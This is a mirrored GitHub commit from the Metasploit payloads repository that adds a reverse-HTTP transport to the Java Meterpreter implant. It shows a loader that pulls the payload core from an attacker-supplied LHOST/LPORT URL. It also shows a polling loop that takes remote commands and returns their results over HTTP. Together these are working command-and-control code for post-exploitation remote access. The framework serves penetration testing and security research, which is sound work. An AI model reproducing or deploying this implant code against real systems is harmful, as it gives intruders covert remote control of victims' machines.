1
mirror of https://github.com/rapid7/metasploit-payloads synced 2024-11-26 17:41:08 +01:00

add support for java/meterpreter/reverse_http. assuming i didn't miss any files, fixes #4946, thanks mihi!

git-svn-id: file:///home/svn/framework3/trunk@13213 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
James Lee 2011-07-18 23:15:06 +00:00
parent ea2bc29a8e
commit 9a3cafc794
3 changed files with 125 additions and 4 deletions

View File

@ -38,8 +38,6 @@
<target name="deploy" depends="jar"> <target name="deploy" depends="jar">
<copy todir="../../../../data/meterpreter"> <copy todir="../../../../data/meterpreter">
<fileset dir="extensions"> <fileset dir="extensions">
<exclude name="meterpreter.jar" />
<exclude name="extensions/ext_server_stdapi.jar" />
</fileset> </fileset>
</copy> </copy>
</target> </target>

View File

@ -0,0 +1,35 @@
package com.metasploit.meterpreter;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.OutputStream;
import java.net.URL;
/**
* A loader that does not use the provided jars but loads all classes from the current classpath. Useful for debugging with the edit-and-continue feature enabled.
*
* @author mihi
*/
public class URLDebugLoader {
/**
* Main entry point.
*/
public static void main(String[] args) throws Exception {
if (args.length < 2) {
System.out.println("Usage: java com.metasploit.meterpreter.URLDebugLoader <LHOST> <LPORT> [<RedirectError>]");
return;
}
URL initURL = new URL("http://" + args[0] + ":" + args[1] + "/INITJM");
DataInputStream in = new DataInputStream(initURL.openStream());
OutputStream out = new DataOutputStream(new ByteArrayOutputStream());
int coreLen = in.readInt();
while (coreLen != 0) {
in.readFully(new byte[coreLen]);
coreLen = in.readInt();
}
coreLen = in.readInt();
in.readFully(new byte[coreLen]);
new com.metasploit.meterpreter.Meterpreter(in, out, false, args.length == 3);
}
}

View File

@ -10,6 +10,7 @@ import java.io.OutputStream;
import java.io.PrintStream; import java.io.PrintStream;
import java.net.URL; import java.net.URL;
import java.net.URLClassLoader; import java.net.URLClassLoader;
import java.net.URLConnection;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.Iterator; import java.util.Iterator;
import java.util.List; import java.util.List;
@ -36,6 +37,7 @@ public class Meterpreter {
private final ByteArrayOutputStream errBuffer; private final ByteArrayOutputStream errBuffer;
private final PrintStream err; private final PrintStream err;
private final boolean loadExtensions; private final boolean loadExtensions;
private List/* <byte[]> */tlvQueue = null;
/** /**
* Initialize the meterpreter. * Initialize the meterpreter.
@ -69,7 +71,9 @@ public class Meterpreter {
if (ptype != PACKET_TYPE_REQUEST) if (ptype != PACKET_TYPE_REQUEST)
throw new IOException("Invalid packet type: " + ptype); throw new IOException("Invalid packet type: " + ptype);
TLVPacket request = new TLVPacket(in, len - 8); TLVPacket request = new TLVPacket(in, len - 8);
writeTLV(PACKET_TYPE_RESPONSE, executeCommand(request)); TLVPacket response = executeCommand(request);
if (response != null)
writeTLV(PACKET_TYPE_RESPONSE, response);
} }
} catch (EOFException ex) { } catch (EOFException ex) {
} }
@ -91,8 +95,17 @@ public class Meterpreter {
* @param packet * @param packet
* The packet to send * The packet to send
*/ */
private void writeTLV(int type, TLVPacket packet) throws IOException { private synchronized void writeTLV(int type, TLVPacket packet) throws IOException {
byte[] data = packet.toByteArray(); byte[] data = packet.toByteArray();
if (tlvQueue != null) {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(baos);
dos.writeInt(data.length + 8);
dos.writeInt(type);
dos.write(data);
tlvQueue.add(baos.toByteArray());
return;
}
synchronized (out) { synchronized (out) {
out.writeInt(data.length + 8); out.writeInt(data.length + 8);
out.writeInt(type); out.writeInt(type);
@ -111,6 +124,15 @@ public class Meterpreter {
private TLVPacket executeCommand(TLVPacket request) throws IOException { private TLVPacket executeCommand(TLVPacket request) throws IOException {
TLVPacket response = new TLVPacket(); TLVPacket response = new TLVPacket();
String method = request.getStringValue(TLVType.TLV_TYPE_METHOD); String method = request.getStringValue(TLVType.TLV_TYPE_METHOD);
if (method.equals("core_switch_url")) {
String url = request.getStringValue(TLVType.TLV_TYPE_STRING);
int sessionExpirationTimeout = request.getIntValue(TLVType.TLV_TYPE_UINT);
int sessionCommunicationTimeout = request.getIntValue(TLVType.TLV_TYPE_LENGTH);
pollURL(new URL(url), sessionExpirationTimeout, sessionCommunicationTimeout);
return null;
} else if (method.equals("core_shutdown")) {
return null;
}
response.add(TLVType.TLV_TYPE_METHOD, method); response.add(TLVType.TLV_TYPE_METHOD, method);
response.add(TLVType.TLV_TYPE_REQUEST_ID, request.getStringValue(TLVType.TLV_TYPE_REQUEST_ID)); response.add(TLVType.TLV_TYPE_REQUEST_ID, request.getStringValue(TLVType.TLV_TYPE_REQUEST_ID));
Command cmd = commandManager.getCommand(method); Command cmd = commandManager.getCommand(method);
@ -124,6 +146,72 @@ public class Meterpreter {
response.add(TLVType.TLV_TYPE_RESULT, result); response.add(TLVType.TLV_TYPE_RESULT, result);
return response; return response;
} }
/**
* Poll from a given URL until a shutdown request is received.
* @param url
*/
private void pollURL(URL url, int sessionExpirationTimeout, int sessionCommunicationTimeout) throws IOException {
synchronized (this) {
tlvQueue = new ArrayList();
}
long deadline = System.currentTimeMillis() + sessionExpirationTimeout * 1000L;
long commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L;
final byte[] RECV = "RECV".getBytes("ISO-8859-1");
while (System.currentTimeMillis() < Math.min(commDeadline, deadline)) {
byte[] outPacket = null;
synchronized (this) {
if (tlvQueue.size() > 0)
outPacket = (byte[]) tlvQueue.remove(0);
}
TLVPacket request = null;
try {
URLConnection uc = url.openConnection();
uc.setDoOutput(true);
OutputStream out = uc.getOutputStream();
out.write(outPacket == null ? RECV : outPacket);
out.close();
DataInputStream in = new DataInputStream(uc.getInputStream());
int len;
try {
len = in.readInt();
} catch (EOFException ex) {
len = -1;
}
if (len != -1) {
int ptype = in.readInt();
if (ptype != PACKET_TYPE_REQUEST)
throw new RuntimeException("Invalid packet type: " + ptype);
request = new TLVPacket(in, len - 8);
}
in.close();
commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L;
} catch (IOException ex) {
ex.printStackTrace(getErrorStream());
// URL not reachable
if (outPacket != null) {
synchronized (this) {
tlvQueue.add(0, outPacket);
}
}
}
if (request != null) {
TLVPacket response = executeCommand(request);
if (response == null)
break;
writeTLV(PACKET_TYPE_RESPONSE, response);
} else if (outPacket == null) {
try {
Thread.sleep(5000);
} catch (InterruptedException ex) {
// ignore
}
}
}
synchronized (this) {
tlvQueue = new ArrayList();
}
}
/** /**
* Get the command manager, used to register or lookup commands. * Get the command manager, used to register or lookup commands.